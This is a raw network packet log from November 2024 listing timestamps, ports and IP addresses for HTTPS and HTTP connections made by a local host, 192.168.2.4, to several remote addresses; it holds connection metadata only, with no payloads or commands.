Nov 7, 2024 06:01:08.098921061 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.788889885 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.794715881 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.794754982 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.795517921 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.795525074 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.799561977 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.799979925 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.799995899 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.800390005 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.800394058 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.809380054 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.809907913 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.809916019 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.810437918 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.810441971 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.834175110 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.834867954 CET	49785	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.834892988 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.835369110 CET	49785	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.835376978 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.837915897 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.838236094 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.838267088 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.838618040 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.838628054 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.921777010 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.921906948 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.922082901 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.922501087 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.922523975 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.922535896 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.922542095 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.925992012 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.926035881 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.926140070 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.926331997 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.926347971 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.932841063 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.933022022 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.933085918 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.933144093 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.933156967 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.933166027 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.933171988 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.935834885 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.935863972 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.935940027 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.936139107 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.936146021 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.937691927 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.937779903 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.937871933 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.937927961 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.937932968 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.937942028 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.937944889 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.940076113 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.940107107 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.940187931 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.940331936 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.940346003 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.964139938 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.964231014 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.964308023 CET	49785	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.964512110 CET	49785	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.964529037 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.964539051 CET	49785	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.964544058 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.967653990 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.967689037 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.967791080 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.967950106 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.967959881 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.968645096 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.968697071 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.968784094 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.968967915 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.968985081 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.968995094 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.968998909 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.971203089 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.971220016 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.971293926 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.971431017 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.971442938 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.438321114 CET	49774	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:09.438709974 CET	49791	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:09.443557978 CET	80	49774	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:09.443572044 CET	80	49791	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:09.443695068 CET	49774	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:09.443759918 CET	49791	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:09.443969965 CET	49791	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:09.448724031 CET	80	49791	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:09.653182983 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.654042006 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.654081106 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.654606104 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.654613018 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.678210020 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.678675890 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.678721905 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.679167032 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.679177999 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.704003096 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.704164982 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.704231977 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.704516888 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.704541922 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.704588890 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.704616070 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.704957962 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.704966068 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.705091000 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.705096960 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.705251932 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.705269098 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.705686092 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.705693007 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.780091047 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.780188084 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.780267000 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.780458927 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.780481100 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.780492067 CET	49786	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.780498981 CET	443	49786	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.783602953 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.783627033 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.783693075 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.783880949 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.783890963 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.810559988 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.810875893 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.810955048 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.811001062 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.811001062 CET	49788	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.811027050 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.811042070 CET	443	49788	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.826159954 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.826203108 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.826272011 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.826498032 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.826507092 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.832839966 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.832988977 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.833043098 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.833365917 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.833388090 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.833409071 CET	49790	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.833415985 CET	443	49790	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.833915949 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.833967924 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.834011078 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.835010052 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.835026026 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.835043907 CET	49789	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.835050106 CET	443	49789	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.840082884 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.840349913 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.840389013 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.841206074 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.841223001 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.841238022 CET	49787	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.841243029 CET	443	49787	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.842171907 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.842196941 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.842259884 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.842735052 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.842746019 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.844183922 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.844204903 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.844253063 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.844353914 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.844361067 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.844789028 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.844827890 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:09.844875097 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.844988108 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:09.845000029 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.345208883 CET	80	49791	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:10.345309019 CET	49791	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:10.348823071 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:10.354902983 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:10.354978085 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:10.355082989 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:10.359791040 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:10.526527882 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.527203083 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.527251959 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.527781010 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.527791023 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.552792072 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.553395987 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.553421974 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.554040909 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.554049969 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.572180033 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.573048115 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.573081970 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.573515892 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.573523045 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.575881004 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.576180935 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.576247931 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.576530933 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.576538086 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.588186979 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.588788986 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.588841915 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.589164972 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.589174032 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.658715010 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.658858061 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.658941984 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.659132957 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.659163952 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.659177065 CET	49792	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.659183025 CET	443	49792	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.662672043 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.662719965 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.662852049 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.663069963 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.663088083 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.681746006 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.682053089 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.682149887 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.682315111 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.682332993 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.682358027 CET	49793	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.682363987 CET	443	49793	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.685770988 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.685827971 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.685956001 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.686126947 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.686141014 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.700704098 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.700965881 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.701056004 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.701165915 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.701183081 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.701195002 CET	49795	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.701200962 CET	443	49795	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.704807997 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.704852104 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.704973936 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.705203056 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.705216885 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.707170963 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.707282066 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.707349062 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.707513094 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.707539082 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.707556009 CET	49796	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.707561016 CET	443	49796	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.710501909 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.710546017 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.710661888 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.710858107 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.710872889 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.722553968 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.722630978 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.722702026 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.722928047 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.722950935 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.722965002 CET	49794	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.722971916 CET	443	49794	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.726218939 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.726243973 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:10.726361036 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.726557016 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:10.726567984 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.078428030 CET	49724	80	192.168.2.4	199.232.214.172
Nov 7, 2024 06:01:11.083671093 CET	80	49724	199.232.214.172	192.168.2.4
Nov 7, 2024 06:01:11.083792925 CET	49724	80	192.168.2.4	199.232.214.172
Nov 7, 2024 06:01:11.257962942 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.257983923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258002043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258023977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258074999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258086920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258096933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258104086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.258156061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.258179903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258193016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258203983 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.258219957 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.258251905 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.262979031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.263006926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.263016939 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.263055086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.263072014 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.402019024 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.402787924 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.402817965 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.403301954 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.403309107 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.414737940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.414762974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.414802074 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.414843082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.414866924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.414870024 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.414942980 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.415021896 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.415056944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.415081024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.415093899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.415124893 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.415132046 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.415143013 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.415144920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.415167093 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.415185928 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.415452003 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.415477991 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.415870905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.415932894 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.415961981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.415967941 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.415972948 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.415998936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416011095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416011095 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.416037083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416040897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.416049957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416078091 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.416117907 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.416831017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416848898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416861057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416872025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416883945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.416894913 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.416939020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.417706966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.417721987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.417733908 CET	80	49797	185.215.113.16	192.168.2.4
